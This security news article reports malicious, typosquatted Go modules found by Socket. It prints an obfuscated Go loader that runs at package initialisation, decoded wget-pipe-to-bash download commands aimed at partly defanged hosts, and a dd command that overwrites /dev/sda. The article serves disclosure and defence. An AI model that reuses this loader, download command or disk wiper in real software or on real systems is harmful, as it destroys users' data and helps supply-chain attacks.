New research exposes malicious Go modules that totally wipe out your disk

It's a new month, and the research team at Socket has identified malicious Go modules containing code capable of entirely wiping your computer's hard drive. Yes, totally gone.

If you don't know, Go is a compiled programming language designed at Google. It is liked for its strong support for handling many tasks at once (concurrency) and its solid performance. Plus, it compiles into single executable files, which makes deploying applications really simple. Developers often find Go easy to read and work with, contributing to its popularity.

The Go ecosystem is vast and open, with countless modules available from public repositories like GitHub. This ease of access and the ability to pull code directly is appealing, but this very structure presents a significant security challenge. There is no central authority that vets module names or content before they become available for developers to use. Developers frequently encounter multiple modules on GitHub with similar names but created by different people, making it genuinely tricky to figure out which one is legitimate.

This environment, lacking a clear naming standard and central gatekeeper, is particularly vulnerable to typosquatting, a technique where attackers register malicious modules with names designed to resemble legitimate ones and appear trustworthy at a glance, significantly increasing the chance a developer will accidentally include harmful code in a project.

This kind of threat showed up last month, when Socket's team spotted three malicious Go modules using similar methods to hide what they were doing. These were identified as follows:

• github[.]com/truthfulpharm/prototransform
• github[.]com/blankloggia/go-mcp
• github[.]com/steelpoor/tlsproxy

Although they seemed ordinary, these modules contained code specifically written to reach out and download harmful programs to execute on a victim's machine. Socket's security scanners picked up on these suspicious actions, which kicked off the detailed investigation that revealed the attack's full scope. Attackers used a clever trick involving scattering parts of commands inside an array of strings and then reconstructing them dynamically. This method, sometimes called array-based string obfuscation, is a way to make malicious code harder to spot through simple keyword searches.

Here is what that obfuscated code looked like in one of the modules, truthfulpharm/prototransform:

func eGtROk() error {
    DmM := []string{"4", "/", " ", "e", "/", "g", "d", "3", "6", " ", "4", "w", "/", "7", "d", ".", "O", " ", "s", "b", "5", "3", "/", "c", "t", "0", "4", "c", "h", " ", "f", "a", "t", "/", "i", "/", "1", "b", "n", "p", "t", "7", "d", "-", "&", ":", "4", "e", "t", "4", "-", "d", "4", "g", "o", "d", "s", "e", "r", "7", ".", "/", "|", ".", " ", "1", "h", " "}
    pBRPhsxN := runtime.GOOS == "linux"
    bcbGOM := "/bin/sh"
    vpqIU := "-c"
    PWcf := DmM[11] + DmM[5] + DmM[47] + DmM[32] + DmM[29] + DmM[50] + DmM[16] + DmM[2] + DmM[43] + DmM[17] + DmM[66] + DmM[24] + DmM[40] + DmM[39] + DmM[45] + DmM[12] + DmM[4] + DmM[36] + DmM[49] + DmM[13] + DmM[15] + DmM[46] + DmM[20] + DmM[63] + DmM[0] + DmM[26] + DmM[60] + DmM[52] + DmM[65] + DmM[22] + DmM[56] + DmM[48] + DmM[54] + DmM[58] + DmM[31] + DmM[53] + DmM[3] + DmM[35] + DmM[51] + DmM[57] + DmM[7] + DmM[59] + DmM[21] + DmM[14] + DmM[25] + DmM[55] + DmM[30] + DmM[33] + DmM[23] + DmM[27] + DmM[42] + DmM[41] + DmM[19] + DmM[10] + DmM[8] + DmM[6] + DmM[67] + DmM[62] + DmM[9] + DmM[1] + DmM[37] + DmM[34] + DmM[38] + DmM[61] + DmM[18] + DmM[28] + DmM[64] + DmM[44]
    if pBRPhsxN {
        exec.Command(bcbGOM, vpqIU, PWcf).Start()
    }

    return nil
}

var GEeEQNj = eGtROk()

This snippet first checks if the code is running on a Linux system. If so, it constructs a command using pieces from that string array. This command is then given to the system's shell to run. Because it checks the operating system, this particular attack aimed at developer setups or servers running Linux.

When those jumbled-up strings were put back together, the command they formed was a simple one designed to download and run a script directly:

# prototransform module payload
wget -O - [.]website/storage/de373d0df/a31546bf | /bin/bash &

# go-mcp module payload
wget -O - [.]icu/storage/de373d0df/a31546bf | /bin/bash &

# tlsproxy module payload
wget -O - [.]41/storage/de373d0df/ccd7b46d | /bin/sh &

These commands tell the system to fetch a file from a remote web address using wget and then immediately feed the contents of that file as input to the /bin/bash or /bin/sh shell, which executes it. This happens right away, without saving the file in a standard way that might allow for analysis or intervention before the damage is done.

What made this attack especially devastating was the script these commands downloaded and executed. It was often named done.sh and contained just one line that sealed the fate of the compromised system:

#!/bin/bash
dd if=/dev/zero of=/dev/sda bs=1M conv=fsync
sync

This command uses the dd utility on Linux. It is instructed to copy data from /dev/zero, a special system source that always provides zero bytes, and write that data directly to /dev/sda. On most Linux systems, /dev/sda represents the primary hard drive where the operating system lives, along with every piece of data the user has stored – files, applications, everything.

By directing dd to write endless zeros onto /dev/sda, this command does far more than just delete files; it completely and systematically overwrites every single byte on the entire hard drive. This process destroys the original data beyond any hope of recovery through standard data restoration or forensic techniques, because the magnetic or electronic state representing your information is replaced with the state representing zero.

The end result is total devastation. The file system structure is obliterated, the operating system is wiped out, and all user data is gone forever. For a company, that means things stop working. On top of the technical mess, there's also the money it takes to clean it up and the hit to your reputation, which can be just as damaging.

With attacks like this happening, what can you do to protect yourself? It starts with being cautious about any external code you add to your project. Don't trust a module just because it has a good name or is on GitHub. You need to check these dependencies carefully. Look at their source, who maintains them, and their history, if you can. Use automated tools to scan the code of these libraries before you add them to your build or deploy your app. These tools can spot known vulnerabilities and also check for strange patterns or behaviors, like the obfuscation techniques used in this disk-wiping attack to hide its real purpose.